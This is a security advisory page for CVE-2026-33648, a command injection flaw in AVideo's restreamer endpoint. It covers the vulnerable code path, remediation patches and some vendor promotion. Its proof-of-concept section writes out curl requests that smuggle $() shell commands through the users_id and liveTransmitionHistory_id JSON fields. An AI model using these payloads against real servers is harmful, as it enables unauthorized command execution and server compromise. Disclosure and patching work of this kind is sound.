CVE-2026-33648

CVE-2026-33648 is a high-severity OS command injection vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet.

Summary

The restreamer endpoint constructs a log file path by embedding user-controlled users_id and liveTransmitionHistory_id values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to exec(), allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as $() or backticks.

Details

The vulnerability exists in plugin/Live/standAloneFiles/restreamer.json.php. The data flow is:

1. User input ingestion (line 220):

$request = file_get_contents("php://input");
$robj = json_decode($request);

2. Log file template (line 58):

$logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log";

3. users_id injected without sanitization (line 318):

$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);

4. liveTransmitionHistory_id injected without sanitization (line 407):

$pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj);

Note: intval() is applied to liveTransmitionHistory_id in the separate getProcess() function (line 805), but NOT in the runRestream() path that constructs the log file.

5. Unsanitized log file path passed to exec() (lines 720, 723):

// Line 720 (remote ffmpeg path):
execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);

// Line 723 (direct execution fallback):
exec($command . ' > ' . $logFile . ' 2>&1 &');

The code sanitizes stream URLs via clearCommandURL() and uses escapeshellarg() for pgrep patterns elsewhere, but completely neglects the log file path, a classic oversight where one injection vector is hardened while an adjacent one is left open.

PoC

Prerequisites: A valid AVideo account with live streaming permissions and a valid restream token.

Step 1: Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.

Step 2: Send a crafted restream request with shell metacharacters in users_id:

curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "VALID_TOKEN",
    "m3u8": "https://example.com/stream.m3u8",
    "restreamsDestinations": ["rtmp://example.com/live/key"],
    "restreamsToken": ["VALID_TOKEN"],
    "users_id": "x$(id > /tmp/pwned)x",
    "liveTransmitionHistory_id": "1"
  }'

Step 3: The resulting exec call becomes:

ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &

The $() subshell executes id > /tmp/pwned before the redirection is processed.

Step 4: Verify command execution:

curl -k "https://TARGET/tmp/pwned"
# Expected: output of `id` command showing the web server user

The same vector works through liveTransmitionHistory_id:

curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \
  -H "Content-Type: application/json" \
  -d '{
    "token": "VALID_TOKEN",
    "m3u8": "https://example.com/stream.m3u8",
    "restreamsDestinations": ["rtmp://example.com/live/key"],
    "restreamsToken": ["VALID_TOKEN"],
    "users_id": "1",
    "liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1"
  }'

Impact

An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:

  • Full server compromise: Reading sensitive files (/etc/passwd, database credentials, .env files)
  • Data exfiltration: Accessing the AVideo database and all user data
  • Lateral movement: Using the compromised server as a pivot point
  • Service disruption: Killing processes, modifying or deleting files
  • Persistent backdoor: Installing web shells or cron jobs for ongoing access

The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.

Untrusted input reaches a shell command, allowing arbitrary commands to run on the host. Typical impact: code execution in the application's environment.

CVE-2026-33648 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Affected versions

wwbn/avideo (<= 26.0)

Security releases

Not available

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Sanitize both users_id and liveTransmitionHistory_id immediately after input, and use escapeshellarg() on the log file path before shell execution.

In restreamer.json.php, after line 220 (input decoding), add input sanitization:

$robj = json_decode($request);
// Sanitize fields that will be used in file paths and shell commands
if (isset($robj->users_id)) {
    $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);
}
if (isset($robj->liveTransmitionHistory_id)) {
    $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);
}

At lines 720 and 723, use escapeshellarg() on the log file path:

// Line 720:
execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);

// Line 723:
exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');

Both fixes should be applied, input sanitization as defense-in-depth, and escapeshellarg() as the direct mitigation at the point of shell execution.

Frequently Asked Questions

  1. What is CVE-2026-33648? CVE-2026-33648 is a high-severity OS command injection vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Untrusted input reaches a shell command, allowing arbitrary commands to run on the host.
  2. How severe is CVE-2026-33648? CVE-2026-33648 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of wwbn/avideo are affected by CVE-2026-33648? wwbn/avideo (composer) versions <= 26.0 is affected.
  4. Is there a fix for CVE-2026-33648? No fixed version is listed for CVE-2026-33648 yet. Monitor the advisory for updates and apply mitigations in the interim.
  5. Is CVE-2026-33648 exploitable, and should I be worried? Whether CVE-2026-33648 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-33648 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-33648? No fixed version is listed yet. In the interim: Avoid passing untrusted input to shell commands. Use parameterized APIs or libraries that do not invoke a shell.

Other vulnerabilities in wwbn/avideo

CVE-2026-33731CVE-2026-33692CVE-2026-33684CVE-2026-54458CVE-2026-50183

Stop the waste.
Protect your environment with Kodem.